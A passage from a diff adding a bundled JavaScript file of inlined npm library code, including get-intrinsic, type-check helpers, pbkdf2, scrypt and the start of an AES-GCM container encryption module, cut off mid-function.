intrinsic = getBaseIntrinsic("%" + intrinsicBaseName + "%", allowMissing); + var intrinsicRealName = intrinsic.name; + var value = intrinsic.value; + var skipFurtherCaching = false; + var alias = intrinsic.alias; + if (alias) { + intrinsicBaseName = alias[0]; + $spliceApply(parts, $concat([0, 1], alias)); + } + for (var i = 1, isOwn = true;i < parts.length; i += 1) { + var part = parts[i]; + var first = $strSlice(part, 0, 1); + var last = $strSlice(part, -1); + if ((first === '"' || first === "'" || first === "`" || (last === '"' || last === "'" || last === "`")) && first !== last) { + throw new $SyntaxError("property names with quotes must have matching quotes"); + } + if (part === "constructor" || !isOwn) { + skipFurtherCaching = true; + } + intrinsicBaseName += "." + part; + intrinsicRealName = "%" + intrinsicBaseName + "%"; + if (hasOwn(INTRINSICS, intrinsicRealName)) { + value = INTRINSICS[intrinsicRealName]; + } else if (value != null) { + if (!(part in value)) { + if (!allowMissing) { + throw new $TypeError("base intrinsic for " + name + " exists, but the property is not available."); + } + return; + } + if ($gOPD && i + 1 >= parts.length) { + var desc = $gOPD(value, part); + isOwn = !!desc; + if (isOwn && "get" in desc && !("originalValue" in desc.get)) { + value = desc.get; + } else { + value = value[part]; + } + } else { + isOwn = hasOwn(value, part); + value = value[part]; + } + if (isOwn && !skipFurtherCaching) { + INTRINSICS[intrinsicRealName] = value; + } + } + } + return value; + }; +}); + +// node_modules/call-bound/index.js +var require_call_bound = __commonJS((exports, module) => { + var GetIntrinsic = require_get_intrinsic(); + var callBindBasic = require_call_bind_apply_helpers(); + var $indexOf = callBindBasic([GetIntrinsic("%String.prototype.indexOf%")]); + module.exports = function callBoundIntrinsic(name, allowMissing) { + var intrinsic = GetIntrinsic(name, !!allowMissing); + if (typeof intrinsic === "function" && $indexOf(name, ".prototype.") > -1) { + return callBindBasic([intrinsic]); + } + return intrinsic; + }; +}); + +// node_modules/is-callable/index.js +var require_is_callable = __commonJS((exports, module) => { + var fnToStr = Function.prototype.toString; + var reflectApply = typeof Reflect === "object" && Reflect !== null && Reflect.apply; + var badArrayLike; + var isCallableMarker; + if (typeof reflectApply === "function" && typeof Object.defineProperty === "function") { + try { + badArrayLike = Object.defineProperty({}, "length", { + get: function() { + throw isCallableMarker; + } + }); + isCallableMarker = {}; + reflectApply(function() { + throw 42; + }, null, badArrayLike); + } catch (_) { + if (_ !== isCallableMarker) { + reflectApply = null; + } + } + } else { + reflectApply = null; + } + var constructorRegex = /^\s*class\b/; + var isES6ClassFn = function isES6ClassFunction(value) { + try { + var fnStr = fnToStr.call(value); + return constructorRegex.test(fnStr); + } catch (e) { + return false; + } + }; + var tryFunctionObject = function tryFunctionToStr(value) { + try { + if (isES6ClassFn(value)) { + return false; + } + fnToStr.call(value); + return true; + } catch (e) { + return false; + } + }; + var toStr = Object.prototype.toString; + var objectClass = "[object Object]"; + var fnClass = "[object Function]"; + var genClass = "[object GeneratorFunction]"; + var ddaClass = "[object HTMLAllCollection]"; + var ddaClass2 = "[object HTML document.all class]"; + var ddaClass3 = "[object HTMLCollection]"; + var hasToStringTag = typeof Symbol === "function" && !!Symbol.toStringTag; + var isIE68 = !(0 in [,]); + var isDDA = function isDocumentDotAll() { + return false; + }; + if (typeof document === "object") { + all = document.all; + if (toStr.call(all) === toStr.call(document.all)) { + isDDA = function isDocumentDotAll(value) { + if ((isIE68 || !value) && (typeof value === "undefined" || typeof value === "object")) { + try { + var str = toStr.call(value); + return (str === ddaClass || str === ddaClass2 || str === ddaClass3 || str === objectClass) && value("") == null; + } catch (e) { + } + } + return false; + }; + } + } + var all; + module.exports = reflectApply ? function isCallable(value) { + if (isDDA(value)) { + return true; + } + if (!value) { + return false; + } + if (typeof value !== "function" && typeof value !== "object") { + return false; + } + try { + reflectApply(value, null, badArrayLike); + } catch (e) { + if (e !== isCallableMarker) { + return false; + } + } + return !isES6ClassFn(value) && tryFunctionObject(value); + } : function isCallable(value) { + if (isDDA(value)) { + return true; + } + if (!value) { + return false; + } + if (typeof value !== "function" && typeof value !== "object") { + return false; + } + if (hasToStringTag) { + return tryFunctionObject(value); + } + if (isES6ClassFn(value)) { + return false; + } + var strClass = toStr.call(value); + if (strClass !== fnClass && strClass !== genClass && !/^\[object HTML/.test(strClass)) { + return false; + } + return tryFunctionObject(value); + }; +}); + +// node_modules/for-each/index.js +var require_for_each = __commonJS((exports, module) => { + var isCallable = require_is_callable(); + var toStr = Object.prototype.toString; + var hasOwnProperty = Object.prototype.hasOwnProperty; + var forEachArray = function forEachArray(array, iterator, receiver) { + for (var i = 0, len = array.length;i < len; i++) { + if (hasOwnProperty.call(array, i)) { + if (receiver == null) { + iterator(array[i], i, array); + } else { + iterator.call(receiver, array[i], i, array); + } + } + } + }; + var forEachString = function forEachString(string, iterator, receiver) { + for (var i = 0, len = string.length;i < len; i++) { + if (receiver == null) { + iterator(string.charAt(i), i, string); + } else { + iterator.call(receiver, string.charAt(i), i, string); + } + } + }; + var forEachObject = function forEachObject(object, iterator, receiver) { + for (var k in object) { + if (hasOwnProperty.call(object, k)) { + if (receiver == null) { + iterator(object[k], k, object); + } else { + iterator.call(receiver, object[k], k, object); + } + } + } + }; + function isArray(x) { + return toStr.call(x) === "[object Array]"; + } + module.exports = function forEach(list, iterator, thisArg) { + if (!isCallable(iterator)) { + throw new TypeError("iterator must be a function"); + } + var receiver; + if (arguments.length >= 3) { + receiver = thisArg; + } + if (isArray(list)) { + forEachArray(list, iterator, receiver); + } else if (typeof list === "string") { + forEachString(list, iterator, receiver); + } else { + forEachObject(list, iterator, receiver); + } + }; +}); + +// node_modules/possible-typed-array-names/index.js +var require_possible_typed_array_names = __commonJS((exports, module) => { + module.exports = [ + "Float16Array", + "Float32Array", + "Float64Array", + "Int8Array", + "Int16Array", + "Int32Array", + "Uint8Array", + "Uint8ClampedArray", + "Uint16Array", + "Uint32Array", + "BigInt64Array", + "BigUint64Array" + ]; +}); + +// node_modules/available-typed-arrays/index.js +var require_available_typed_arrays = __commonJS((exports, module) => { + var possibleNames = require_possible_typed_array_names(); + var g = typeof globalThis === "undefined" ? global : globalThis; + module.exports = function availableTypedArrays() { + var out = []; + for (var i = 0;i < possibleNames.length; i++) { + if (typeof g[possibleNames[i]] === "function") { + out[out.length] = possibleNames[i]; + } + } + return out; + }; +}); + +// node_modules/define-data-property/index.js +var require_define_data_property = __commonJS((exports, module) => { + var $defineProperty = require_es_define_property(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var gopd = require_gopd(); + module.exports = function defineDataProperty(obj, property, value) { + if (!obj || typeof obj !== "object" && typeof obj !== "function") { + throw new $TypeError("`obj` must be an object or a function`"); + } + if (typeof property !== "string" && typeof property !== "symbol") { + throw new $TypeError("`property` must be a string or a symbol`"); + } + if (arguments.length > 3 && typeof arguments[3] !== "boolean" && arguments[3] !== null) { + throw new $TypeError("`nonEnumerable`, if provided, must be a boolean or null"); + } + if (arguments.length > 4 && typeof arguments[4] !== "boolean" && arguments[4] !== null) { + throw new $TypeError("`nonWritable`, if provided, must be a boolean or null"); + } + if (arguments.length > 5 && typeof arguments[5] !== "boolean" && arguments[5] !== null) { + throw new $TypeError("`nonConfigurable`, if provided, must be a boolean or null"); + } + if (arguments.length > 6 && typeof arguments[6] !== "boolean") { + throw new $TypeError("`loose`, if provided, must be a boolean"); + } + var nonEnumerable = arguments.length > 3 ? arguments[3] : null; + var nonWritable = arguments.length > 4 ? arguments[4] : null; + var nonConfigurable = arguments.length > 5 ? arguments[5] : null; + var loose = arguments.length > 6 ? arguments[6] : false; + var desc = !!gopd && gopd(obj, property); + if ($defineProperty) { + $defineProperty(obj, property, { + configurable: nonConfigurable === null && desc ? desc.configurable : !nonConfigurable, + enumerable: nonEnumerable === null && desc ? desc.enumerable : !nonEnumerable, + value, + writable: nonWritable === null && desc ? desc.writable : !nonWritable + }); + } else if (loose || !nonEnumerable && !nonWritable && !nonConfigurable) { + obj[property] = value; + } else { + throw new $SyntaxError("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable."); + } + }; +}); + +// node_modules/has-property-descriptors/index.js +var require_has_property_descriptors = __commonJS((exports, module) => { + var $defineProperty = require_es_define_property(); + var hasPropertyDescriptors = function hasPropertyDescriptors() { + return !!$defineProperty; + }; + hasPropertyDescriptors.hasArrayLengthDefineBug = function hasArrayLengthDefineBug() { + if (!$defineProperty) { + return null; + } + try { + return $defineProperty([], "length", { value: 1 }).length !== 1; + } catch (e) { + return true; + } + }; + module.exports = hasPropertyDescriptors; +}); + +// node_modules/set-function-length/index.js +var require_set_function_length = __commonJS((exports, module) => { + var GetIntrinsic = require_get_intrinsic(); + var define2 = require_define_data_property(); + var hasDescriptors = require_has_property_descriptors()(); + var gOPD = require_gopd(); + var $TypeError = require_type(); + var $floor = GetIntrinsic("%Math.floor%"); + module.exports = function setFunctionLength(fn, length) { + if (typeof fn !== "function") { + throw new $TypeError("`fn` is not a function"); + } + if (typeof length !== "number" || length < 0 || length > 4294967295 || $floor(length) !== length) { + throw new $TypeError("`length` must be a positive 32-bit integer"); + } + var loose = arguments.length > 2 && !!arguments[2]; + var functionLengthIsConfigurable = true; + var functionLengthIsWritable = true; + if ("length" in fn && gOPD) { + var desc = gOPD(fn, "length"); + if (desc && !desc.configurable) { + functionLengthIsConfigurable = false; + } + if (desc && !desc.writable) { + functionLengthIsWritable = false; + } + } + if (functionLengthIsConfigurable || functionLengthIsWritable || !loose) { + if (hasDescriptors) { + define2(fn, "length", length, true, true); + } else { + define2(fn, "length", length); + } + } + return fn; + }; +}); + +// node_modules/call-bind-apply-helpers/applyBind.js +var require_applyBind = __commonJS((exports, module) => { + var bind = require_function_bind(); + var $apply = require_functionApply(); + var actualApply = require_actualApply(); + module.exports = function applyBind() { + return actualApply(bind, $apply, arguments); + }; +}); + +// node_modules/call-bind/index.js +var require_call_bind = __commonJS((exports, module) => { + var setFunctionLength = require_set_function_length(); + var $defineProperty = require_es_define_property(); + var callBindBasic = require_call_bind_apply_helpers(); + var applyBind = require_applyBind(); + module.exports = function callBind(originalFunction) { + var func = callBindBasic(arguments); + var adjustedLength = 1 + originalFunction.length - (arguments.length - 1); + return setFunctionLength(func, adjustedLength > 0 ? adjustedLength : 0, true); + }; + if ($defineProperty) { + $defineProperty(module.exports, "apply", { value: applyBind }); + } else { + module.exports.apply = applyBind; + } +}); + +// node_modules/has-tostringtag/shams.js +var require_shams2 = __commonJS((exports, module) => { + var hasSymbols = require_shams(); + module.exports = function hasToStringTagShams() { + return hasSymbols() && !!Symbol.toStringTag; + }; +}); + +// node_modules/which-typed-array/index.js +var require_which_typed_array = __commonJS((exports, module) => { + var forEach = require_for_each(); + var availableTypedArrays = require_available_typed_arrays(); + var callBind = require_call_bind(); + var callBound = require_call_bound(); + var gOPD = require_gopd(); + var getProto = require_get_proto(); + var $toString = callBound("Object.prototype.toString"); + var hasToStringTag = require_shams2()(); + var g = typeof globalThis === "undefined" ? global : globalThis; + var typedArrays = availableTypedArrays(); + var $slice = callBound("String.prototype.slice"); + var $indexOf = callBound("Array.prototype.indexOf", true) || function indexOf(array, value) { + for (var i = 0;i < array.length; i += 1) { + if (array[i] === value) { + return i; + } + } + return -1; + }; + var cache = { __proto__: null }; + if (hasToStringTag && gOPD && getProto) { + forEach(typedArrays, function(typedArray) { + var arr = new g[typedArray]; + if (Symbol.toStringTag in arr && getProto) { + var proto = getProto(arr); + var descriptor = gOPD(proto, Symbol.toStringTag); + if (!descriptor && proto) { + var superProto = getProto(proto); + descriptor = gOPD(superProto, Symbol.toStringTag); + } + if (descriptor && descriptor.get) { + var bound = callBind(descriptor.get); + cache["$" + typedArray] = bound; + } + } + }); + } else { + forEach(typedArrays, function(typedArray) { + var arr = new g[typedArray]; + var fn = arr.slice || arr.set; + if (fn) { + var bound = callBind(fn); + cache["$" + typedArray] = bound; + } + }); + } + var tryTypedArrays = function tryAllTypedArrays(value) { + var found = false; + forEach(cache, function(getter, typedArray) { + if (!found) { + try { + if ("$" + getter(value) === typedArray) { + found = $slice(typedArray, 1); + } + } catch (e) { + } + } + }); + return found; + }; + var trySlices = function tryAllSlices(value) { + var found = false; + forEach(cache, function(getter, name) { + if (!found) { + try { + getter(value); + found = $slice(name, 1); + } catch (e) { + } + } + }); + return found; + }; + module.exports = function whichTypedArray(value) { + if (!value || typeof value !== "object") { + return false; + } + if (!hasToStringTag) { + var tag = $slice($toString(value), 8, -1); + if ($indexOf(typedArrays, tag) > -1) { + return tag; + } + if (tag !== "Object") { + return false; + } + return trySlices(value); + } + if (!gOPD) { + return null; + } + return tryTypedArrays(value); + }; +}); + +// node_modules/is-typed-array/index.js +var require_is_typed_array = __commonJS((exports, module) => { + var whichTypedArray = require_which_typed_array(); + module.exports = function isTypedArray(value) { + return !!whichTypedArray(value); + }; +}); + +// node_modules/typed-array-buffer/index.js +var require_typed_array_buffer = __commonJS((exports, module) => { + var $TypeError = require_type(); + var callBound = require_call_bound(); + var $typedArrayBuffer = callBound("TypedArray.prototype.buffer", true); + var isTypedArray = require_is_typed_array(); + module.exports = $typedArrayBuffer || function typedArrayBuffer(x) { + if (!isTypedArray(x)) { + throw new $TypeError("Not a Typed Array"); + } + return x.buffer; + }; +}); + +// node_modules/to-buffer/index.js +var require_to_buffer = __commonJS((exports, module) => { + var Buffer2 = require_safe_buffer().Buffer; + var isArray = require_isarray(); + var typedArrayBuffer = require_typed_array_buffer(); + var isView = ArrayBuffer.isView || function isView(obj) { + try { + typedArrayBuffer(obj); + return true; + } catch (e) { + return false; + } + }; + var useUint8Array = typeof Uint8Array !== "undefined"; + var useArrayBuffer = typeof ArrayBuffer !== "undefined" && typeof Uint8Array !== "undefined"; + var useFromArrayBuffer = useArrayBuffer && (Buffer2.prototype instanceof Uint8Array || Buffer2.TYPED_ARRAY_SUPPORT); + module.exports = function toBuffer(data, encoding) { + if (Buffer2.isBuffer(data)) { + if (data.constructor && !("isBuffer" in data)) { + return Buffer2.from(data); + } + return data; + } + if (typeof data === "string") { + return Buffer2.from(data, encoding); + } + if (useArrayBuffer && isView(data)) { + if (data.byteLength === 0) { + return Buffer2.alloc(0); + } + if (useFromArrayBuffer) { + var res = Buffer2.from(data.buffer, data.byteOffset, data.byteLength); + if (res.byteLength === data.byteLength) { + return res; + } + } + var uint8 = data instanceof Uint8Array ? data : new Uint8Array(data.buffer, data.byteOffset, data.byteLength); + var result = Buffer2.from(uint8); + if (result.length === data.byteLength) { + return result; + } + } + if (useUint8Array && data instanceof Uint8Array) { + return Buffer2.from(data); + } + var isArr = isArray(data); + if (isArr) { + for (var i = 0;i < data.length; i += 1) { + var x = data[i]; + if (typeof x !== "number" || x < 0 || x > 255 || ~~x !== x) { + throw new RangeError("Array items must be numbers in the range 0-255."); + } + } + } + if (isArr || Buffer2.isBuffer(data) && data.constructor && typeof data.constructor.isBuffer === "function" && data.constructor.isBuffer(data)) { + return Buffer2.from(data); + } + throw new TypeError('The "data" argument must be a string, an Array, a Buffer, a Uint8Array, or a DataView.'); + }; +}); + +// node_modules/pbkdf2/lib/to-buffer.js +var require_to_buffer2 = __commonJS((exports, module) => { + var Buffer2 = require_safe_buffer().Buffer; + var toBuffer = require_to_buffer(); + var useUint8Array = typeof Uint8Array !== "undefined"; + var useArrayBuffer = useUint8Array && typeof ArrayBuffer !== "undefined"; + var isView = useArrayBuffer && ArrayBuffer.isView; + module.exports = function(thing, encoding, name) { + if (typeof thing === "string" || Buffer2.isBuffer(thing) || useUint8Array && thing instanceof Uint8Array || isView && isView(thing)) { + return toBuffer(thing, encoding); + } + throw new TypeError(name + " must be a string, a Buffer, a Uint8Array, or a DataView"); + }; +}); + +// node_modules/create-hmac/index.js +var require_create_hmac = __commonJS((exports, module) => { + module.exports = __require("crypto").createHmac; +}); + +// node_modules/pbkdf2/lib/sync.js +var require_sync = __commonJS((exports, module) => { + var sizes = { + __proto__: null, + md5: 16, + sha1: 20, + sha224: 28, + sha256: 32, + sha384: 48, + sha512: 64, + "sha512-256": 32, + rmd160: 20, + ripemd160: 20 + }; + var mapping = { + __proto__: null, + "sha-1": "sha1", + "sha-224": "sha224", + "sha-256": "sha256", + "sha-384": "sha384", + "sha-512": "sha512", + "ripemd-160": "ripemd160" + }; + var createHmac = require_create_hmac(); + var Buffer2 = require_safe_buffer().Buffer; + var checkParameters = require_precondition(); + var defaultEncoding = require_default_encoding(); + var toBuffer = require_to_buffer2(); + function pbkdf2(password, salt, iterations, keylen, digest) { + checkParameters(iterations, keylen); + password = toBuffer(password, defaultEncoding, "Password"); + salt = toBuffer(salt, defaultEncoding, "Salt"); + var lowerDigest = (digest || "sha1").toLowerCase(); + var mappedDigest = mapping[lowerDigest] || lowerDigest; + var size = sizes[mappedDigest]; + if (typeof size !== "number" || !size) { + throw new TypeError("Digest algorithm not supported: " + digest); + } + var DK = Buffer2.allocUnsafe(keylen); + var block1 = Buffer2.allocUnsafe(salt.length + 4); + salt.copy(block1, 0, 0, salt.length); + var destPos = 0; + var hLen = size; + var l = Math.ceil(keylen / hLen); + for (var i = 1;i <= l; i++) { + block1.writeUInt32BE(i, salt.length); + var T = createHmac(mappedDigest, password).update(block1).digest(); + var U = T; + for (var j = 1;j < iterations; j++) { + U = createHmac(mappedDigest, password).update(U).digest(); + for (var k = 0;k < hLen; k++) { + T[k] ^= U[k]; + } + } + T.copy(DK, destPos); + destPos += hLen; + } + return DK; + } + module.exports = pbkdf2; +}); + +// node_modules/pbkdf2/lib/async.js +var require_async = __commonJS((exports, module) => { + var Buffer2 = require_safe_buffer().Buffer; + var checkParameters = require_precondition(); + var defaultEncoding = require_default_encoding(); + var sync = require_sync(); + var toBuffer = require_to_buffer2(); + var ZERO_BUF; + var subtle = global.crypto && global.crypto.subtle; + var toBrowser = { + sha: "SHA-1", + "sha-1": "SHA-1", + sha1: "SHA-1", + sha256: "SHA-256", + "sha-256": "SHA-256", + sha384: "SHA-384", + "sha-384": "SHA-384", + "sha-512": "SHA-512", + sha512: "SHA-512" + }; + var checks = []; + var nextTick; + function getNextTick() { + if (nextTick) { + return nextTick; + } + if (global.process && global.process.nextTick) { + nextTick = global.process.nextTick; + } else if (global.queueMicrotask) { + nextTick = global.queueMicrotask; + } else if (global.setImmediate) { + nextTick = global.setImmediate; + } else { + nextTick = global.setTimeout; + } + return nextTick; + } + function browserPbkdf2(password, salt, iterations, length, algo) { + return subtle.importKey("raw", password, { name: "PBKDF2" }, false, ["deriveBits"]).then(function(key) { + return subtle.deriveBits({ + name: "PBKDF2", + salt, + iterations, + hash: { + name: algo + } + }, key, length << 3); + }).then(function(res) { + return Buffer2.from(res); + }); + } + function checkNative(algo) { + if (global.process && !global.process.browser) { + return Promise.resolve(false); + } + if (!subtle || !subtle.importKey || !subtle.deriveBits) { + return Promise.resolve(false); + } + if (checks[algo] !== undefined) { + return checks[algo]; + } + ZERO_BUF = ZERO_BUF || Buffer2.alloc(8); + var prom = browserPbkdf2(ZERO_BUF, ZERO_BUF, 10, 128, algo).then(function() { + return true; + }, function() { + return false; + }); + checks[algo] = prom; + return prom; + } + function resolvePromise(promise, callback) { + promise.then(function(out) { + getNextTick()(function() { + callback(null, out); + }); + }, function(e) { + getNextTick()(function() { + callback(e); + }); + }); + } + module.exports = function(password, salt, iterations, keylen, digest, callback) { + if (typeof digest === "function") { + callback = digest; + digest = undefined; + } + checkParameters(iterations, keylen); + password = toBuffer(password, defaultEncoding, "Password"); + salt = toBuffer(salt, defaultEncoding, "Salt"); + if (typeof callback !== "function") { + throw new Error("No callback provided to pbkdf2"); + } + digest = digest || "sha1"; + var algo = toBrowser[digest.toLowerCase()]; + if (!algo || typeof global.Promise !== "function") { + getNextTick()(function() { + var out; + try { + out = sync(password, salt, iterations, keylen, digest); + } catch (e) { + callback(e); + return; + } + callback(null, out); + }); + return; + } + resolvePromise(checkNative(algo).then(function(resp) { + if (resp) { + return browserPbkdf2(password, salt, iterations, keylen, algo); + } + return sync(password, salt, iterations, keylen, digest); + }), callback); + }; +}); + +// node_modules/pbkdf2/index.js +var require_pbkdf2 = __commonJS((exports) => { + var nativeImpl = __require("crypto"); + var checkParameters = require_precondition(); + var defaultEncoding = require_default_encoding(); + var toBuffer = require_to_buffer2(); + function nativePBKDF2(password, salt, iterations, keylen, digest, callback) { + checkParameters(iterations, keylen); + password = toBuffer(password, defaultEncoding, "Password"); + salt = toBuffer(salt, defaultEncoding, "Salt"); + if (typeof digest === "function") { + callback = digest; + digest = "sha1"; + } + if (typeof callback !== "function") { + throw new Error("No callback provided to pbkdf2"); + } + return nativeImpl.pbkdf2(password, salt, iterations, keylen, digest, callback); + } + function nativePBKDF2Sync(password, salt, iterations, keylen, digest) { + checkParameters(iterations, keylen); + password = toBuffer(password, defaultEncoding, "Password"); + salt = toBuffer(salt, defaultEncoding, "Salt"); + digest = digest || "sha1"; + return nativeImpl.pbkdf2Sync(password, salt, iterations, keylen, digest); + } + if (!nativeImpl.pbkdf2Sync || nativeImpl.pbkdf2Sync.toString().indexOf("keylen, digest") === -1) { + exports.pbkdf2Sync = require_sync(); + exports.pbkdf2 = require_async(); + } else { + exports.pbkdf2Sync = nativePBKDF2Sync; + exports.pbkdf2 = nativePBKDF2; + } +}); + +// node_modules/@exodus/scryptsy/lib/utils.js +var require_utils = __commonJS((exports, module) => { + var pbkdf2 = require_pbkdf2(); + var MAX_VALUE = 2147483647; + var DEFAULT_PROMISE_INTERVAL = 5000; + function checkAndInit(key, salt, N, r, p, dkLen, progressCallback) { + if (N === 0 || (N & N - 1) !== 0) + throw Error("N must be > 0 and a power of 2"); + if (N > MAX_VALUE / 128 / r) + throw Error("Parameter N is too large"); + if (r > MAX_VALUE / 128 / p) + throw Error("Parameter r is too large"); + let XY = Buffer.alloc(256 * r); + let V = Buffer.alloc(128 * r * N); + let B32 = new Int32Array(16); + let x = new Int32Array(16); + let _X = Buffer.alloc(64); + let B = pbkdf2.pbkdf2Sync(key, salt, 1, p * 128 * r, "sha256"); + let tickCallback; + if (progressCallback) { + let totalOps = p * N * 2; + let currentOp = 0; + tickCallback = function() { + ++currentOp; + if (currentOp % 1000 === 0) { + progressCallback({ + current: currentOp, + total: totalOps, + percent: currentOp / totalOps * 100 + }); + } + }; + } + return { + XY, + V, + B32, + x, + _X, + B, + tickCallback + }; + } + async function smix(B, Bi, r, N, V, XY, _X, B32, x, tickCallback, promiseInterval) { + promiseInterval = promiseInterval || DEFAULT_PROMISE_INTERVAL; + let Xi = 0; + let Yi = 128 * r; + let i; + B.copy(XY, Xi, Bi, Bi + Yi); + for (i = 0;i < N; i++) { + XY.copy(V, i * Yi, Xi, Xi + Yi); + if (i % promiseInterval === 0) { + await new Promise((resolve) => setImmediate(resolve)); + } + blockmix_salsa8(XY, Xi, Yi, r, _X, B32, x); + if (tickCallback) + tickCallback(); + } + for (i = 0;i < N; i++) { + let offset = Xi + (2 * r - 1) * 64; + let j = XY.readUInt32LE(offset) & N - 1; + blockxor(V, j * Yi, XY, Xi, Yi); + if (i % promiseInterval === 0) { + await new Promise((resolve) => setImmediate(resolve)); + } + blockmix_salsa8(XY, Xi, Yi, r, _X, B32, x); + if (tickCallback) + tickCallback(); + } + XY.copy(B, Bi, Xi, Xi + Yi); + } + function smixSync(B, Bi, r, N, V, XY, _X, B32, x, tickCallback) { + let Xi = 0; + let Yi = 128 * r; + let i; + B.copy(XY, Xi, Bi, Bi + Yi); + for (i = 0;i < N; i++) { + XY.copy(V, i * Yi, Xi, Xi + Yi); + blockmix_salsa8(XY, Xi, Yi, r, _X, B32, x); + if (tickCallback) + tickCallback(); + } + for (i = 0;i < N; i++) { + let offset = Xi + (2 * r - 1) * 64; + let j = XY.readUInt32LE(offset) & N - 1; + blockxor(V, j * Yi, XY, Xi, Yi); + blockmix_salsa8(XY, Xi, Yi, r, _X, B32, x); + if (tickCallback) + tickCallback(); + } + XY.copy(B, Bi, Xi, Xi + Yi); + } + function blockmix_salsa8(BY, Bi, Yi, r, _X, B32, x) { + let i; + arraycopy(BY, Bi + (2 * r - 1) * 64, _X, 0, 64); + for (i = 0;i < 2 * r; i++) { + blockxor(BY, i * 64, _X, 0, 64); + salsa20_8(_X, B32, x); + arraycopy(_X, 0, BY, Yi + i * 64, 64); + } + for (i = 0;i < r; i++) { + arraycopy(BY, Yi + i * 2 * 64, BY, Bi + i * 64, 64); + } + for (i = 0;i < r; i++) { + arraycopy(BY, Yi + (i * 2 + 1) * 64, BY, Bi + (i + r) * 64, 64); + } + } + function R(a, b) { + return a << b | a >>> 32 - b; + } + function salsa20_8(B, B32, x) { + let i; + for (i = 0;i < 16; i++) { + B32[i] = (B[i * 4 + 0] & 255) << 0; + B32[i] |= (B[i * 4 + 1] & 255) << 8; + B32[i] |= (B[i * 4 + 2] & 255) << 16; + B32[i] |= (B[i * 4 + 3] & 255) << 24; + } + arraycopy(B32, 0, x, 0, 16); + for (i = 8;i > 0; i -= 2) { + x[4] ^= R(x[0] + x[12], 7); + x[8] ^= R(x[4] + x[0], 9); + x[12] ^= R(x[8] + x[4], 13); + x[0] ^= R(x[12] + x[8], 18); + x[9] ^= R(x[5] + x[1], 7); + x[13] ^= R(x[9] + x[5], 9); + x[1] ^= R(x[13] + x[9], 13); + x[5] ^= R(x[1] + x[13], 18); + x[14] ^= R(x[10] + x[6], 7); + x[2] ^= R(x[14] + x[10], 9); + x[6] ^= R(x[2] + x[14], 13); + x[10] ^= R(x[6] + x[2], 18); + x[3] ^= R(x[15] + x[11], 7); + x[7] ^= R(x[3] + x[15], 9); + x[11] ^= R(x[7] + x[3], 13); + x[15] ^= R(x[11] + x[7], 18); + x[1] ^= R(x[0] + x[3], 7); + x[2] ^= R(x[1] + x[0], 9); + x[3] ^= R(x[2] + x[1], 13); + x[0] ^= R(x[3] + x[2], 18); + x[6] ^= R(x[5] + x[4], 7); + x[7] ^= R(x[6] + x[5], 9); + x[4] ^= R(x[7] + x[6], 13); + x[5] ^= R(x[4] + x[7], 18); + x[11] ^= R(x[10] + x[9], 7); + x[8] ^= R(x[11] + x[10], 9); + x[9] ^= R(x[8] + x[11], 13); + x[10] ^= R(x[9] + x[8], 18); + x[12] ^= R(x[15] + x[14], 7); + x[13] ^= R(x[12] + x[15], 9); + x[14] ^= R(x[13] + x[12], 13); + x[15] ^= R(x[14] + x[13], 18); + } + for (i = 0;i < 16; ++i) + B32[i] = x[i] + B32[i]; + for (i = 0;i < 16; i++) { + let bi = i * 4; + B[bi + 0] = B32[i] >> 0 & 255; + B[bi + 1] = B32[i] >> 8 & 255; + B[bi + 2] = B32[i] >> 16 & 255; + B[bi + 3] = B32[i] >> 24 & 255; + } + } + function blockxor(S, Si, D, Di, len) { + for (let i = 0;i < len; i++) { + D[Di + i] ^= S[Si + i]; + } + } + function arraycopy(src, srcPos, dest, destPos, length) { + if (Buffer.isBuffer(src) && Buffer.isBuffer(dest)) { + src.copy(dest, destPos, srcPos, srcPos + length); + } else { + while (length--) { + dest[destPos++] = src[srcPos++]; + } + } + } + module.exports = { + checkAndInit, + smix, + smixSync + }; +}); + +// node_modules/@exodus/scryptsy/lib/scryptSync.js +var require_scryptSync = __commonJS((exports, module) => { + var pbkdf2 = require_pbkdf2(); + var { + checkAndInit, + smixSync + } = require_utils(); + function scrypt(key, salt, N, r, p, dkLen, progressCallback) { + const { + XY, + V, + B32, + x, + _X, + B, + tickCallback + } = checkAndInit(key, salt, N, r, p, dkLen, progressCallback); + for (var i = 0;i < p; i++) { + smixSync(B, i * 128 * r, r, N, V, XY, _X, B32, x, tickCallback); + } + return pbkdf2.pbkdf2Sync(key, B, 1, dkLen, "sha256"); + } + module.exports = scrypt; +}); + +// node_modules/@exodus/scryptsy/lib/scrypt.js +var require_scrypt = __commonJS((exports, module) => { + var pbkdf2 = require_pbkdf2(); + var { + checkAndInit, + smix + } = require_utils(); + async function scrypt(key, salt, N, r, p, dkLen, progressCallback, promiseInterval) { + const { + XY, + V, + B32, + x, + _X, + B, + tickCallback + } = checkAndInit(key, salt, N, r, p, dkLen, progressCallback); + for (var i = 0;i < p; i++) { + await smix(B, i * 128 * r, r, N, V, XY, _X, B32, x, tickCallback, promiseInterval); + } + return pbkdf2.pbkdf2Sync(key, B, 1, dkLen, "sha256"); + } + module.exports = scrypt; +}); + +// node_modules/@exodus/scryptsy/lib/index.js +var require_lib = __commonJS((exports, module) => { + var scrypt = require_scryptSync(); + scrypt.async = require_scrypt(); + module.exports = scrypt; +}); + +// node_modules/secure-container/lib/crypto.js +var require_crypto = __commonJS((exports) => { + Object.defineProperty(exports, "__esModule", { + value: true + }); + exports.createScryptParams = createScryptParams; + exports.stretchPassphrase = stretchPassphrase; + exports.aesEncrypt = aesEncrypt; + exports.aesDecrypt = aesDecrypt; + exports.boxEncrypt = boxEncrypt; + exports.boxDecrypt = boxDecrypt; + exports.sha256 = sha256; + exports.IV_LEN_BYTES = undefined; + var _randombytes = _interopRequireDefault(require_randombytes()); + var _createHash = _interopRequireDefault(require_create_hash()); + var _browserifyAes = _interopRequireDefault(require_browserify_aes()); + var _scryptsy = _interopRequireDefault(require_lib()); + function _interopRequireDefault(obj) { + return obj && obj.__esModule ? obj : { default: obj }; + } + var IV_LEN_BYTES = 12; + exports.IV_LEN_BYTES = IV_LEN_BYTES; + function createScryptParams(params = {}) { + return { + salt: (0, _randombytes.default)(32), + n: 16384, + r: 8, + p: 1, + ...params + }; + } + function stretchPassphrase(passphrase, { + salt, + n, + r, + p + } = createScryptParams()) { + const key = (0, _scryptsy.default)(passphrase, salt, n, r, p, 32); + return { + key, + salt + }; + } + function aesEncrypt(key, message) { + const iv = (0, _randombytes.default)(IV_LEN_BYTES); + const cipher = _browserifyAes.default.createCipheriv("aes-256-gcm", key, iv); + const blob = Buffer.concat([cipher.update(message), cipher.final()]); + const authTag = 